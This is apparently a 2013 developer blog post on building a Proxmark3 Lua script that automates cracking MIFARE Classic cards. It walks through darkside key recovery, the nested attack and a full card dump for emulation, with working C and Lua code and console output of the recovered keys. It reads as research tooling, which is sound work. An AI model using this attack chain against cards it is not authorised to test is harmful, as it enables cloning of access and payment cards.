This part turned out to be a bit messy. Many pm3-commands does not do much on the host-side, basically just create a data structure with instructions for the device and sends it off. The hf mf mifare
is a bit more complicated, since it involves some crapto1-state-calculation wizardry.
This is what it looks like on the C-side, cmdhfmf.c:
int CmdHF14AMifare(const char *Cmd)
{
uint32_t uid = 0;
uint32_t nt = 0, nr = 0;
uint64_t par_list = 0, ks_list = 0, r_key = 0;
uint8_t isOK = 0;
uint8_t keyBlock[8] = {0};
UsbCommand c = {CMD_READER_MIFARE, {true, 0, 0};
// message
printf("-------------------------------------------------------------------------\n");
printf("Executing command. Expected execution time: 25sec on average :-)\n");
printf("Press the key on the proxmark3 device to abort both proxmark3 and client.\n");
printf("-------------------------------------------------------------------------\n");
start:
clearCommandBuffer();
SendCommand(&c);
//flush queue
while (ukbhit()) getchar();
// wait cycle
while (true) {
printf(".");
fflush(stdout);
if (ukbhit()) {
getchar();
printf("\naborted via keyboard!\n");
break;
}
UsbCommand resp;
if (WaitForResponseTimeout(CMD_ACK,&resp,1000)) {
isOK = resp.arg[0] & 0xff;
uid = (uint32_t)bytes_to_num(resp.d.asBytes + 0, 4);
nt = (uint32_t)bytes_to_num(resp.d.asBytes + 4, 4);
par_list = bytes_to_num(resp.d.asBytes + 8, 8);
ks_list = bytes_to_num(resp.d.asBytes + 16, 8);
nr = bytes_to_num(resp.d.asBytes + 24, 4);
printf("\n\n");
if (!isOK) PrintAndLog("Proxmark can't get statistic info. Execution aborted.\n");
break;
}
}
printf("\n");
// error
if (isOK != 1) return 1;
// execute original function from util nonce2key
if (nonce2key(uid, nt, nr, par_list, ks_list, &r_key))
{
isOK = 2;
PrintAndLog("Key not found (lfsr_common_prefix list is null). Nt=%08x", nt);
} else {
printf("------------------------------------------------------------------\n");
PrintAndLog("Key found:%012"llx" \n", r_key);
num_to_bytes(r_key, 6, keyBlock);
isOK = mfCheckKeys(0, 0, 1, keyBlock, &r_key);
}
if (!isOK)
PrintAndLog("Found valid key:%012"llx, r_key);
else
{
if (isOK != 2) PrintAndLog("Found invalid key. ");
PrintAndLog("Failing is expected to happen in 25%% of all cases. Trying again with a different reader nonce...");
c.arg[0] = false;
goto start;
}
return 0;
}
I decided to redo that in Lua, but without the goto-stuff.
function mfcrack()
core.clearCommandBuffer()
-- Build the mifare-command
local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1}
local retry = true
while retry do
core.SendCommand(cmd:getBytes())
local key, errormessage = mfcrack_inner()
-- Success?
if key then return key end
-- Failure?
if errormessage then return nil, errormessage end
-- Try again..set arg1 to 0 this time.
cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0}
end
return nil, "Aborted by user"
end
function mfcrack_inner()
while not core.ukbhit() do
local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
if result then
-- Unpacking the three arg-parameters
local count,cmd,isOK = bin.unpack('LL',result)
if isOK ~= 1 then return nil, "Error occurred" end
-- The data-part is left
-- Starts 32 bytes in, at byte 33
local data = result:sub(33)
-- A little helper
local get = function(num)
local x = data:sub(1,num)
data = data:sub(num+1)
return x
end
local uid,nt,pl = get(4),get(4),get(8)
local ks,nr = get(8),get(4)
local status, key = core.nonce2key(uid,nt, nr, pl,ks)
if not status then return status,key end
if status > 0 then
print("Key not found (lfsr_common_prefix problem)")
-- try again
return nil,nil
else
return key
end
end
end
return nil, "Aborted by user"
end
While implementing this, I noticed that as of r786, the nonce2key utility validates key candidates using hf mf chk
, thus removing the necessity for the caller to do that (thus, currently done twice in hf mf mifare
).
Another thing worth mentioning here is the use of the bin
library. In Lua, you basically treat binary data as strings. Lua strings can contain binary data, so when reading and writing low-level data, some help is often needed.
For example, creating the binary string 0xDEADBEEF can be done in these two ways:
x = "\xDE\xAD\xBE\xEF"
x = bin.pack("H","DEADBEEF")
The latter is a bit more simple. The bin
-package comes from Luiz Henrique de Figueiredo, and documentationwise you can look at Nmap for the luadoc (the pm3-wiki is not yet updated with Luadoc).
In the example above, I use “LL” as format string, which means that I want to unpack two “unsigned long (8-byte unsigned integer)”:
local count,cmd,isOK = bin.unpack('LL',result)
The first return value, count
is the position at which unpacking stopped, whereas cmd,isOK
gets set by the two return values generated by the format string - two 8-byte unsigned integers.
This little thing is a closure, a function which ‘encloses’ the data
and is nice to have sometimes.
As I noted above, there were six functions from the pm3 c-code that were exposed to the Lua layer.
core.console('hf mf nested 1 0 a FFFFFFFFFFFF')
As you can see above, I call the function core.nonce2key(uid,nt, nr, pl,ks)
. So, naturally, I had to expose that aswell. Let’s see how that was done.
OBS: You don’t have to know this just in order to develop scripts, but it is good to be aware that you dont have to re-implement existing functionality all the time - it is not very difficult to just hook into an existing function already implemented in C.
So, first of all, I opened scripting.c
here and added an entry to the already existing api:
int set_pm3_libraries(lua_State *L)
{
static const luaL_Reg libs[] = {
{"SendCommand", l_SendCommand},
{"WaitForResponseTimeout", l_WaitForResponseTimeout},
{"nonce2key", l_nonce2key},
Then I defined the function itself:
static int l_nonce2key(lua_State *L){
size_t size;
const char *p_uid = luaL_checklstring(L, 1, &size);
if(size != 4) return returnToLuaWithError(L,"Wrong size of uid, got %d bytes, expected 4", (int) size);
const char *p_nt = luaL_checklstring(L, 2, &size);
if(size != 4) return returnToLuaWithError(L,"Wrong size of nt, got %d bytes, expected 4", (int) size);
const char *p_nr = luaL_checklstring(L, 3, &size);
if(size != 4) return returnToLuaWithError(L,"Wrong size of nr, got %d bytes, expected 4", (int) size);
const char *p_par_info = luaL_checklstring(L, 4, &size);
if(size != 8) return returnToLuaWithError(L,"Wrong size of par_info, got %d bytes, expected 8", (int) size);
const char *p_pks_info = luaL_checklstring(L, 5, &size);
if(size != 8) return returnToLuaWithError(L,"Wrong size of ks_info, got %d bytes, expected 8", (int) size);
uint32_t uid = bytes_to_num(( uint8_t *)p_uid,4);
uint32_t nt = bytes_to_num(( uint8_t *)p_nt,4);
uint64_t nr = bytes_to_num(( uint8_t*)p_nr,8);
uint64_t par_info = bytes_to_num(( uint8_t *)p_par_info,8);
uint64_t ks_info = bytes_to_num(( uint8_t *)p_pks_info,8);
uint64_t key = 0;
int retval = nonce2key(uid,nt, nr, par_info,ks_info, &key);
//Push the retval on the stack
lua_pushinteger(L,retval);
//Push the key onto the stack
lua_pushlstring(L,(const char *) &key,sizeof(key));
return 2; //Two return values
}
This one is actually more complex than they usually are, but that’s just because of some data conversion and validation. The main things here are that you obtain the parameters from lua via luaL_checklstring
or similar methods, and push returnvalues onto the Lua stack using lua_pushinteger
, lua_pushlstring
and similar methods. And, last but not least, return the number of return values that you have (the number of pushes you’ve made to the stack).
Committed as r807.
Ok, that was a tangent. Continuing. Does it work?
proxmark3> script run mifare_autopwn
--- Executing: ./scripts/mifare_autopwn.lua, args''
Card found, commencing crack 92C0456B
uid(92c0456b) nt(73294ab7) par(a3fbfb537343eb7b) ks(070608090e060a02)
|diff|{nr} |ks3|ks3^5|parity |
+----+--------+---+-----+---------------+
| 00 |00000000| 7 | 2 |1,1,0,0,0,1,0,1|
| 20 |00000020| 6 | 3 |1,1,0,1,1,1,1,1|
| 40 |00000040| 8 | d |1,1,0,1,1,1,1,1|
| 60 |00000060| 9 | c |1,1,0,0,1,0,1,0|
| 80 |00000080| e | b |1,1,0,0,1,1,1,0|
| a0 |000000a0| 6 | 3 |1,1,0,0,0,0,1,0|
| c0 |000000c0| a | f |1,1,0,1,0,1,1,1|
| e0 |000000e0| 2 | 7 |1,1,0,1,1,1,1,0|
key_count:1
Key FFFFFFFFFFFF
-----Finished
Fine and dandy so far. The next part should be simpler.
So, at this point, we have one valid key (A) to block 0. Now we need to take that key and use it in the nested attack to obtain the rest. Now, we can use the console API thingy:
function nested(key)
local cmd = string.format("hf mf nested 1 0 A %s d",key)
core.console(cmd)
end
This will create the dumpfile dumpfile.bin
. Done.
The next stage is to dump the contents. To do that, all we have to do is call hf mf dump
:
function dump()
core.console("hf mf dump")
end
In addition, let’s create the html-dump and a dump for the emulator while we’re at it:
function dump(uid)
core.console("hf mf dump")
-- Save the global args, those are *our* arguments
local myargs = args
-- Set the arguments for htmldump script
args =("-o %s.html"):format(uid)
-- call it
require('../scripts/htmldump')
args =""
-- dump to emulator
require('../scripts/dumptoemul')
-- Set back args. Not that it's used, just for the karma...
args = myargs
end
And, in the end, here’s the (abbreviated) output when running the script:
proxmark3> script run mifare_autopwn
--- Executing: ./scripts/mifare_autopwn.lua, args''
Card found, commencing crack 92C0456B
uid(92c0456b) nt(21439479) par(7be3631bb33b9b23) ks(01050303070b0404) nr(00000000)
|diff|{nr} |ks3|ks3^5|parity |
+----+--------+---+-----+---------------+
| 00 |00000000| 1 | 4 |1,1,0,1,1,1,1,0|
| 20 |00000020| 5 | 0 |1,1,0,0,0,1,1,1|
| 40 |00000040| 3 | 6 |1,1,0,0,0,1,1,0|
| 60 |00000060| 3 | 6 |1,1,0,1,1,0,0,0|
| 80 |00000080| 7 | 2 |1,1,0,0,1,1,0,1|
| a0 |000000a0| b | e |1,1,0,1,1,1,0,0|
| c0 |000000c0| 4 | 1 |1,1,0,1,1,0,0,1|
| e0 |000000e0| 4 | 1 |1,1,0,0,0,1,0,0|
key_count:1
Key FFFFFFFFFFFF
--block no:00 key type:00 key:ff ff ff ff ff ff etrans:0
Block shift=0
Testing known keys. Sector count=16
nested...
Time in nested: 10.000 (inf sec per key)
-----------------------------------------------
Iterations count: 0
|---|----------------|---|----------------|---|
|sec|key A |res|key B |res|
|---|----------------|---|----------------|---|
|000| ffffffffffff | 1 | ffffffffffff | 1 |
|001| ffffffffffff | 1 | ffffffffffff | 1 |
|002| ffffffffffff | 1 | ffffffffffff | 1 |
|003| ffffffffffff | 1 | ffffffffffff | 1 |
|004| ffffffffffff | 1 | ffffffffffff | 1 |
|005| ffffffffffff | 1 | ffffffffffff | 1 |
|006| ffffffffffff | 1 | ffffffffffff | 1 |
|007| ffffffffffff | 1 | ffffffffffff | 1 |
|008| ffffffffffff | 1 | ffffffffffff | 1 |
|009| ffffffffffff | 1 | ffffffffffff | 1 |
|010| ffffffffffff | 1 | ffffffffffff | 1 |
|011| ffffffffffff | 1 | ffffffffffff | 1 |
|012| ffffffffffff | 1 | ffffffffffff | 1 |
|013| ffffffffffff | 1 | ffffffffffff | 1 |
|014| ffffffffffff | 1 | ffffffffffff | 1 |
|015| ffffffffffff | 1 | ffffffffffff | 1 |
|---|----------------|---|----------------|---|
Printing keys to bynary file dumpkeys.bin...
|-----------------------------------------|
|------ Reading sector access bits...-----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
|-----------------------------------------|
|----- Dumping all blocks to file... -----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
Dumped card data into 'dumpdata.bin'
#db# READ BLOCK FINISHED
[... removed for brevity ...]
#db# READ BLOCK FINISHED
Dumped card data into 'dumpdata.bin'
Wrote a HTML dump to the file 92C0456B.html
Wrote an emulator-dump to the file 92C0456B.eml
ERROR: Aborted by user
The script stops when a key is pressed, thus the “ERROR: Aborted by user” - message.
And with that, we’re pretty much finished, having automated the entire hack. A few improvements could be done, for example, instead of doing hf mf mifare
we could begin by checking default keys. And perhaps also modifying that functionality to stop after one successfull key/sector, since we probably want to do nested afterwards anyway, in order to be sure we get all keys.
Committed as r809
2013-10-08